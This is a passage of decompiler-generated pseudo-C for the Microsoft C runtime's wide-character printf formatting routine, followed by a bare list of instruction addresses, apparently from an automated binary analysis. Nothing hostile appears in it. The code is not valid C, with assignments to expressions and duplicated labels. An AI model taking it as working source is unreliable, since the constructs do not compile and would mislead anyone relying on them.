															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0xd12188; // 0xddc09d6c
															E00B849C0(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E00B7C680(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0xd12194; // 0xddc09d6c
																	E00B849C0(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E00B7C680(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0xd12190; // 0xddc09d6c
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
															goto L187;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00B93D50(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E00B7C680(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E00B7C680(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E00B90E50(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													do {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													} while ( *(__ebp - 0x4ec) > 0x37);
													goto L66;
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													L105:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x484) = E00B93D50(__ebp + 0x14);
													__eax = E00B97280();
													__eflags = __eax;
													if(__eax != 0) {
														L115:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) & 0x00000020;
														__eflags = __ecx;
														if(__ecx == 0) {
															__ecx =  *(__ebp - 0x484);
															__edx =  *(__ebp - 0x44c);
															 *__ecx =  *(__ebp - 0x44c);
														} else {
															__edx =  *(__ebp - 0x484);
															__ax =  *(__ebp - 0x44c);
															 *( *(__ebp - 0x484)) = __ax;
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
													L106:
													__ecx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x4f4) = 0;
													} else {
														 *(__ebp - 0x4f4) = 1;
													}
													__edx =  *(__ebp - 0x4f4);
													 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L00B7D760();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) != 0) {
														L114:
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													} else {
														L113:
														 *((intOrPtr*)(L00B80C60(__ecx))) = 0x16;
														__eax = E00B809F0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x4cc) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E00B7C650(__ecx);
														__eax =  *(__ebp - 0x4cc);
														goto L225;
													}
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L83:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00B93D50(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L97:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0xd121a4; // 0xb77590
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L100:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L101:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L102:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L103:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L104;
													} else {
														L87:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0xd121a0; // 0xb775a0
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L91:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L92:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L93:
															__ecx = __ebp - 0x40;
															E00B7C680(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E00B91090( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L96:
														L104:
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00B93D50(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00B93D50(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00B93D50(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00B93D50(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E00B93D70(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E00B93D70(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E00B855B0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E00B85630( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t571 = 0;
									if(0 == 0) {
										 *(_t596 - 0x4dc) = 0;
									} else {
										 *(_t596 - 0x4dc) = 1;
									}
									 *(_t596 - 0x46c) =  *(_t596 - 0x4dc);
									if( *(_t596 - 0x46c) == 0) {
										_push( &M00B77C38);
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t502 = L00B7D760();
										_t599 = _t599 + 0x14;
										if(_t502 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t596 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00B80C60(_t543))) = 0x16;
										E00B809F0(_t534, _t543, _t594, _t595,  &M00B77C38, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t596 - 0x4c8) = 0xffffffff;
										E00B7C650(_t596 - 0x40);
										_t487 =  *(_t596 - 0x4c8);
										L225:
										return E00B805D0(_t487, _t534,  *(_t596 - 0x48) ^ _t596, _t571, _t594, _t595);
									}
								}
							}
							L215:
							if( *(_t596 - 0x45c) == 0) {
								L218:
								 *(_t596 - 0x4f8) = 1;
								L219:
								_t571 =  *(_t596 - 0x4f8);
								 *(_t596 - 0x4bc) =  *(_t596 - 0x4f8);
								if( *(_t596 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t492 = L00B7D760();
									_t599 = _t599 + 0x14;
									if(_t492 == 1) {
										asm("int3");
									}
								}
								if( *(_t596 - 0x4bc) != 0) {
									 *(_t596 - 0x4d4) =  *(_t596 - 0x44c);
									E00B7C650(_t596 - 0x40);
									_t487 =  *(_t596 - 0x4d4);
								} else {
									 *((intOrPtr*)(L00B80C60(_t535))) = 0x16;
									E00B809F0(_t534, _t535, _t594, _t595, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t596 - 0x4d0) = 0xffffffff;
									E00B7C650(_t596 - 0x40);
									_t487 =  *(_t596 - 0x4d0);
								}
								goto L225;
							}
							L216:
							if( *(_t596 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t596 - 0x4f8) = 0;
							goto L219;
						}
					}
					L76:
					_t567 =  *0xd121a0; // 0xb775a0
					 *(_t596 - 4) = _t567;
					_t484 = E00B805E0( *(_t596 - 4));
					_t599 = _t599 + 4;
					 *(_t596 - 0x24) = _t484;
					goto L80;
				}
			}

0x00b965e4
0x00b965e4
0x00b965e4
0x00b965e8
0x00b965ed
0x00b965f0
0x00b965fd
0x00000000
0x00000000
0x00b965ff
0x00b965ff
0x00b96609
0x00b96628
0x00b9662e
0x00b96656
0x00b9665d
0x00b96663
0x00b96666
0x00b96669
0x00b9666f
0x00b96672
0x00b96630
0x00b96630
0x00b96636
0x00b96639
0x00b9663c
0x00b96642
0x00b96645
0x00b96648
0x00b9664a
0x00b9664d
0x00b9664d
0x00b96675
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00b96d7a
0x00b96d80
0x00b96d8a
0x00b96da4
0x00b96dbe
0x00b96dc5
0x00b96dc9
0x00b96dc9
0x00b96da6
0x00b96dab
0x00b96daf
0x00b96daf
0x00b96d8c
0x00b96d91
0x00b96d95
0x00b96d95
0x00b96d8a
0x00b96dd9
0x00b96de5
0x00b96dfb
0x00b96e00
0x00b96e00
0x00b96e16
0x00b96e1b
0x00b96e24
0x00b96e2c
0x00b96e42
0x00b96e47
0x00b96e47
0x00b96e2c
0x00b96e4e
0x00b96f08
0x00b96f1b
0x00b96f20
0x00000000
0x00b96e54
0x00b96e54
0x00b96e58
0x00000000
0x00000000
0x00b96e5e
0x00b96e61
0x00b96e6a
0x00b96e70
0x00b96e70
0x00b96e7f
0x00b96e87
0x00000000
0x00000000
0x00b96e89
0x00b96e8c
0x00b96eb1
0x00b96eb6
0x00b96eb9
0x00b96ec6
0x00b96ed4
0x00b96ee7
0x00b96eec
0x00b96efb
0x00000000
0x00b96efb
0x00b96ec8
0x00b96ec8
0x00000000
0x00b96ec8
0x00b96f06
0x00b96f23
0x00b96f2a
0x00b96f32
0x00b96f48
0x00b96f4d
0x00b96f4d
0x00b96f32
0x00b96f2a
0x00b96f50
0x00b96f54
0x00b96f5c
0x00b96f61
0x00b96f64
0x00b96f64
0x00b96f6b
0x00b96f6b
0x00b960eb
0x00b960f2
0x00b960ff
0x00b96104
0x00000000
0x00b96117
0x00b96121
0x00b96148
0x00b9612f
0x00b96140
0x00b96140
0x00b96121
0x00b96152
0x00b96158
0x00b96164
0x00b96167
0x00b96175
0x00b96178
0x00b96185
0x00b9622a
0x00b96230
0x00b9623d
0x00000000
0x00000000
0x00b96243
0x00b96249
0x00000000
0x00b96250
0x00b96250
0x00b9626a
0x00b9626f
0x00000000
0x00000000
0x00b96277
0x00b96277
0x00b9627e
0x00b96281
0x00b96284
0x00b96287
0x00b9628a
0x00b9628d
0x00b96290
0x00b96297
0x00b9629e
0x00000000
0x00000000
0x00b962aa
0x00b962aa
0x00b962b1
0x00b962bd
0x00b962c0
0x00b962c6
0x00b962cd
0x00000000
0x00000000
0x00b962cf
0x00b962d5
0x00b962d5
0x00b962dc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b96320
0x00b96320
0x00b96327
0x00b9632a
0x00b96354
0x00b96357
0x00b96357
0x00b96361
0x00b96361
0x00b96365
0x00b9632c
0x00b9632c
0x00b96338
0x00b9633b
0x00b9633f
0x00b96341
0x00b96344
0x00b96344
0x00b96347
0x00b9634a
0x00b9634d
0x00b9634f
0x00b9634f
0x00b96352
0x00b96368
0x00000000
0x00000000
0x00b9636d
0x00b9636d
0x00000000
0x00000000
0x00b96379
0x00b96379
0x00b96380
0x00b96383
0x00b963a3
0x00b963a6
0x00b963a6
0x00b963b0
0x00b963b0
0x00b963b4
0x00b96385
0x00b96385
0x00b96391
0x00b96394
0x00b96398
0x00b9639a
0x00b9639a
0x00b963a1
0x00000000
0x00000000
0x00b963bc
0x00b963bc
0x00b963c3
0x00b963cf
0x00b963d2
0x00b963d8
0x00b963df
0x00b964f2
0x00000000
0x00b964f2
0x00b963e5
0x00b963eb
0x00b963eb
0x00b963f2
0x00000000
0x00b96429
0x00b96429
0x00b9642c
0x00b9642f
0x00b96432
0x00b96459
0x00b96459
0x00b9645c
0x00b9645f
0x00b96462
0x00b96486
0x00b96486
0x00b96489
0x00b9648c
0x00b9648f
0x00b964c8
0x00b964d9
0x00000000
0x00b964d9
0x00b96491
0x00b96491
0x00b96494
0x00b96497
0x00b9649a
0x00000000
0x00000000
0x00b9649c
0x00b9649c
0x00b9649f
0x00b964a2
0x00b964a5
0x00000000
0x00000000
0x00b964a7
0x00b964a7
0x00b964aa
0x00b964ad
0x00b964b0
0x00000000
0x00000000
0x00b964b2
0x00b964b2
0x00b964b5
0x00b964b8
0x00b964bb
0x00000000
0x00000000
0x00b964bd
0x00b964bd
0x00b964c0
0x00b964c3
0x00b964c6
0x00b964ca
0x00000000
0x00b964ca
0x00000000
0x00b964c6
0x00b96464
0x00b96464
0x00b96467
0x00b9646b
0x00b9646e
0x00000000
0x00b96470
0x00b96473
0x00b96476
0x00b9647c
0x00b96481
0x00000000
0x00b96481
0x00b9646e
0x00b96434
0x00b96434
0x00b96437
0x00b9643b
0x00b9643e
0x00000000
0x00b96440
0x00b96443
0x00b96446
0x00b9644c
0x00b96451
0x00000000
0x00b96451
0x00000000
0x00b964db
0x00b964db
0x00b964de
0x00b964e1
0x00000000
0x00000000
0x00b963f9
0x00b963f9
0x00b963fc
0x00b963ff
0x00b96402
0x00b9641b
0x00b9641e
0x00b9641e
0x00b96421
0x00b96404
0x00b96404
0x00b96407
0x00b9640a
0x00b96410
0x00b96416
0x00b96416
0x00000000
0x00000000
0x00b964e6
0x00b964e6
0x00b964e9
0x00b964e9
0x00b964ef
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b964f7
0x00b964f7
0x00b964fe
0x00b96504
0x00b9650a
0x00b9650d
0x00b96513
0x00b9651a
0x00000000
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00b96d27
0x00b96d2d
0x00b96d30
0x00b96d33
0x00b96d36
0x00b96d39
0x00b96d3f
0x00b96d3f
0x00b96d3f
0x00b96d47
0x00b96d4b
0x00000000
0x00000000
0x00b96d4d
0x00b96d4d
0x00b96d50
0x00b96d53
0x00b96d53
0x00b96d58
0x00b96d5b
0x00b96d5e
0x00b96d61
0x00b96d64
0x00b96d67
0x00b96d6a
0x00b96d6a
0x00b96d6d
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00b96d70
0x00b96520
0x00b96526
0x00b96526
0x00b9652d
0x00000000
0x00b968b1
0x00b968b1
0x00b968bf
0x00b968bf
0x00b968c2
0x00000000
0x00000000
0x00b96534
0x00b96537
0x00b96537
0x00b9653d
0x00b9653f
0x00b96542
0x00b96542
0x00b96545
0x00b96545
0x00000000
0x00000000
0x00b9667a
0x00b9667d
0x00b9667d
0x00b96682
0x00b96684
0x00b96687
0x00b96687
0x00b9668a
0x00b9668a
0x00000000
0x00000000
0x00b96a7d
0x00b96a7d
0x00000000
0x00000000
0x00000000
0x00000000
0x00b968c9
0x00b968cc
0x00b968cf
0x00b968d2
0x00b968d8
0x00b968db
0x00b968e2
0x00b968e6
0x00b968f1
0x00b968f1
0x00b968f5
0x00b9690c
0x00b9690c
0x00b96913
0x00b96915
0x00b96915
0x00b9691c
0x00b9691c
0x00b96923
0x00b96931
0x00b96934
0x00b96943
0x00b96946
0x00b9694a
0x00b9695f
0x00b9694c
0x00b9694c
0x00b9694f
0x00b96955
0x00b9695a
0x00b9695a
0x00b9694a
0x00b96969
0x00b9696c
0x00b9696f
0x00b96972
0x00b96975
0x00b96978
0x00b9697e
0x00b96984
0x00b9698c
0x00b9698d
0x00b96990
0x00b96991
0x00b96994
0x00b96995
0x00b9699c
0x00b9699d
0x00b969a0
0x00b969a1
0x00b969a4
0x00b969a5
0x00b969ab
0x00b969ac
0x00b969bb
0x00b969bd
0x00b969c3
0x00b969c3
0x00b969c8
0x00b969ca
0x00b969ce
0x00b969d0
0x00b969d8
0x00b969d9
0x00b969dc
0x00b969dd
0x00b969ec
0x00b969ee
0x00b969ee
0x00b969ce
0x00b969f1
0x00b969f8
0x00b969fb
0x00b96a00
0x00b96a00
0x00b96a06
0x00b96a08
0x00b96a10
0x00b96a11
0x00b96a14
0x00b96a15
0x00b96a23
0x00b96a25
0x00b96a25
0x00b96a06
0x00b96a28
0x00b96a2b
